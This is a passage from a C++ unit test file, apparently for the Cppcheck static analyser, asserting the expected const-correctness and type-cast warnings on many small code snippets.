\"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n 